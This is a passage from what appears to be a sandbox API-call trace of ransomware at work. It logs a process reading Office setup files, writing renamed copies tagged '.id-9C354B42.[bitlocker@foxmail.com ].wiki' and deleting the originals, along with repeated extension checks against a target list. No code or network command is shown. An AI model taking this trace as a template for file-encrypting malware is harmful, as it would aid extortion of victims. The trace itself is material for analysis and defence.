nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x391, lpOverlapped=0x0) returned 1 [0047.831] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0047.832] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.832] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0047.832] SetEndOfFile (hFile=0x1e8) returned 1 [0047.832] CloseHandle (hObject=0x1e8) returned 1 [0047.833] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.833] SetEndOfFile (hFile=0x1e4) returned 1 [0047.834] CloseHandle (hObject=0x1e4) returned 1 [0047.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.834] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0047.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.834] lstrlenW (lpString=".doc") returned 4 [0047.834] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.834] lstrlenW (lpString=".docx") returned 5 [0047.834] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.834] lstrlenW (lpString=".pdf") returned 4 [0047.834] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.834] lstrlenW (lpString=".xls") returned 4 [0047.834] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString=".xlsx") returned 5 [0047.835] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.835] lstrlenW (lpString=".ppt") returned 4 [0047.835] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.835] lstrlenW (lpString=".zip") returned 4 [0047.835] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.835] lstrlenW (lpString=".rar") returned 4 [0047.835] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString=".bz2") returned 4 [0047.835] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString=".7z") returned 3 [0047.835] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.835] lstrlenW (lpString=".dbf") returned 4 [0047.835] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.835] lstrlenW (lpString=".1cd") returned 4 [0047.835] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.835] lstrlenW (lpString=".jpg") returned 4 [0047.835] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.835] lstrlenW (lpString=".doc") returned 4 [0047.835] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString=".docx") returned 5 [0047.835] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.835] lstrlenW (lpString=".pdf") returned 4 [0047.835] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString=".xls") returned 4 [0047.835] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.835] lstrlenW (lpString=".xlsx") returned 5 [0047.835] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.835] lstrlenW (lpString=".ppt") returned 4 [0047.836] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.836] lstrlenW (lpString=".zip") returned 4 [0047.836] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.836] lstrlenW (lpString=".rar") returned 4 [0047.836] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.836] lstrlenW (lpString=".bz2") returned 4 [0047.836] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.836] lstrlenW (lpString=".7z") returned 3 [0047.836] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.836] lstrlenW (lpString=".dbf") returned 4 [0047.836] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.836] lstrlenW (lpString=".1cd") returned 4 [0047.836] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0047.836] lstrlenW (lpString=".jpg") returned 4 [0047.836] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.836] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.836] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0047.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.956] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5557) returned 1 [0047.956] CloseHandle (hObject=0x1e8) returned 1 [0047.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0047.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.958] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.958] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.958] GetLastError () returned 0x0 [0047.958] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0047.961] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0047.962] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.962] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0047.962] SetEndOfFile (hFile=0x19c) returned 1 [0047.962] CloseHandle (hObject=0x19c) returned 1 [0047.963] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.963] SetEndOfFile (hFile=0x1e8) returned 1 [0047.963] CloseHandle (hObject=0x1e8) returned 1 [0047.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.964] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0047.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.964] lstrlenW (lpString=".doc") returned 4 [0047.964] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.964] lstrlenW (lpString=".docx") returned 5 [0047.964] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.964] lstrlenW (lpString=".pdf") returned 4 [0047.964] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.964] lstrlenW (lpString=".xls") returned 4 [0047.964] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.964] lstrlenW (lpString=".xlsx") returned 5 [0047.964] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.964] lstrlenW (lpString=".ppt") returned 4 [0047.964] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.964] lstrlenW (lpString=".zip") returned 4 [0047.964] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.964] lstrlenW (lpString=".rar") returned 4 [0047.964] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.964] lstrlenW (lpString=".bz2") returned 4 [0047.964] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.964] lstrlenW (lpString=".7z") returned 3 [0047.965] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.965] lstrlenW (lpString=".dbf") returned 4 [0047.965] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.965] lstrlenW (lpString=".1cd") returned 4 [0047.965] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.965] lstrlenW (lpString=".jpg") returned 4 [0047.965] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.965] lstrlenW (lpString=".doc") returned 4 [0047.965] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString=".docx") returned 5 [0047.965] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.965] lstrlenW (lpString=".pdf") returned 4 [0047.965] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString=".xls") returned 4 [0047.965] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString=".xlsx") returned 5 [0047.965] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.965] lstrlenW (lpString=".ppt") returned 4 [0047.965] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.965] lstrlenW (lpString=".zip") returned 4 [0047.965] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.965] lstrlenW (lpString=".rar") returned 4 [0047.965] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString=".bz2") returned 4 [0047.965] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString=".7z") returned 3 [0047.965] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.965] lstrlenW (lpString=".dbf") returned 4 [0047.965] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.966] lstrlenW (lpString=".1cd") returned 4 [0047.966] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0047.966] lstrlenW (lpString=".jpg") returned 4 [0047.966] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.966] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.966] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0047.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.966] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=819) returned 1 [0047.966] CloseHandle (hObject=0x1e8) returned 1 [0047.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0047.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.966] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.966] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.967] GetLastError () returned 0x0 [0047.967] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x333, lpOverlapped=0x0) returned 1 [0047.969] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x340, lpOverlapped=0x0) returned 1 [0047.970] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.970] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0047.970] SetEndOfFile (hFile=0x19c) returned 1 [0047.970] CloseHandle (hObject=0x19c) returned 1 [0047.970] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.971] SetEndOfFile (hFile=0x1e8) returned 1 [0047.971] CloseHandle (hObject=0x1e8) returned 1 [0047.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.972] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.972] lstrlenW (lpString=".doc") returned 4 [0047.972] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.972] lstrlenW (lpString=".docx") returned 5 [0047.972] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0047.972] lstrlenW (lpString=".pdf") returned 4 [0047.972] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.972] lstrlenW (lpString=".xls") returned 4 [0047.972] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.972] lstrlenW (lpString=".xlsx") returned 5 [0047.972] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0047.972] lstrlenW (lpString=".ppt") returned 4 [0047.972] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.972] lstrlenW (lpString=".zip") returned 4 [0047.972] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.972] lstrlenW (lpString=".rar") returned 4 [0047.972] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.972] lstrlenW (lpString=".bz2") returned 4 [0047.972] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.972] lstrlenW (lpString=".7z") returned 3 [0047.973] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.973] lstrlenW (lpString=".dbf") returned 4 [0047.973] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.973] lstrlenW (lpString=".1cd") returned 4 [0047.973] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.973] lstrlenW (lpString=".jpg") returned 4 [0047.973] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.973] lstrlenW (lpString=".doc") returned 4 [0047.973] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString=".docx") returned 5 [0047.973] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0047.973] lstrlenW (lpString=".pdf") returned 4 [0047.973] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString=".xls") returned 4 [0047.973] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString=".xlsx") returned 5 [0047.973] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0047.973] lstrlenW (lpString=".ppt") returned 4 [0047.973] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.973] lstrlenW (lpString=".zip") returned 4 [0047.973] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.973] lstrlenW (lpString=".rar") returned 4 [0047.973] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString=".bz2") returned 4 [0047.973] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString=".7z") returned 3 [0047.973] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.973] lstrlenW (lpString=".dbf") returned 4 [0047.973] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.974] lstrlenW (lpString=".1cd") returned 4 [0047.974] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0047.974] lstrlenW (lpString=".jpg") returned 4 [0047.974] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.974] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0047.974] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0047.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.975] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=37689) returned 1 [0047.975] CloseHandle (hObject=0x1e8) returned 1 [0047.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0047.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program 